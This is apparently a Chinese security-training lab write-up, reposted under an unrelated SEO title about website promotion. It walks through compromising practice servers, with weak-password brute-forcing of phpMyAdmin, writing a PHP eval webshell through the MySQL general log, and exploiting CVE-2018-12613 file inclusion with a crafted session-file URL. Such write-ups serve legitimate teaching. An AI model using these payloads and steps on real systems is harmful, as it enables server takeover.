当前位置：首页 > wzjs >正文

网站宣传的手段有哪些wordpress 友情链接书签

wzjs 2025/9/5 21:49:42

网站宣传的手段有哪些,wordpress 友情链接书签,免费网页源码,编程网站免费中文版目录实训任务1 漏洞攻击实战一实训任务2 漏洞攻击实战二实训任务3 白云新闻搜索实训任务4 手速要快实训任务5 包罗万象总结今天的实训目的是为了：了解漏洞攻击的一般步骤；掌握SQL注入的基本原理；掌握XSS攻击的基本原理&#xff…

实训任务1 漏洞攻击实战一

实训任务2 漏洞攻击实战二

实训任务3 白云新闻搜索

实训任务4 手速要快

实训任务5 包罗万象

总结

今天的实训目的是为了：了解漏洞攻击的一般步骤；掌握SQL注入的基本原理；掌握XSS攻击的基本原理；掌握文件上传的基本原理；掌握文件包含的基本原理；能根据漏洞原理展开攻击。

实训任务1 漏洞攻击实战一

1.打开之后我们先用御剑对这个靶机站点进行扫描

2.可以发现可疑地址phpmyadmin/index.php

3.这里发现了数据库的登录地址，我们弱口令爆破一下得到用户名和密码都是root

4.进数据库之后先查看是否开启日志功能以及日志文件的保存路径，若未开启将其开启

可以利用sql语句
“SHOW VARIABLES LIKE 'general%'”
“set global general_log = "ON";”

5.向日志中写入一句话木马“select ‘<?php @eval($_POST[1]);?>’”

6.寻找网站在服务器上的绝对地址，由于在linux中mysql数据库的日志与web目录的用户权限是分开的，我们此时还无法通过目录地址访问该日志文件
再次查看我们御剑扫描的后台，发现info.php这里应该存放着各种的版本信息等

打开后可以发现我们的绝对地址
7.执行命令“set global general_log_file=' C://xxx//xxx//xxx//shell.php';”
修改日志文件存储路径和文件名

8.重新写入php一句话木马“select ‘<?php @eval($_POST[1]);?>’”

9.最后使用webshell管理工具连接创建的shell.php文件，控制服务器。

实训任务2 漏洞攻击实战二

1.第一步和任务一类似先对靶机进行扫描
发现可以可以目录www.zip和phpmyadmin

www.zip可能是由于管理员偷懒，将网站内容定期压缩的来的，因此在www.zip中我们仔细查找后在/common/config发现数据库的账号密码

2.登录网站数据库后，查看数据库管理系统的版本号，为4.8.1
该版本存在安全漏洞。
参考内容：phpMyAdmin 4.8.x 本地文件包含漏洞利用 | Vulnspy Blog

3.利用 CVE-2018-12613 进行 getshell。向 shell.php 文件中写入一句话木马执行SELECT "<?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>"

4.phpmyadmin的session会保存近期执行过的sql语句，F12查看sessionID

5.根据漏洞利用原理：以此构造url如下：http://xxx.xx.xx.xxx:xxx/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_获取到的sessionID

6.使用webshell管理工具连接创建的shell.php文件，控制服务器。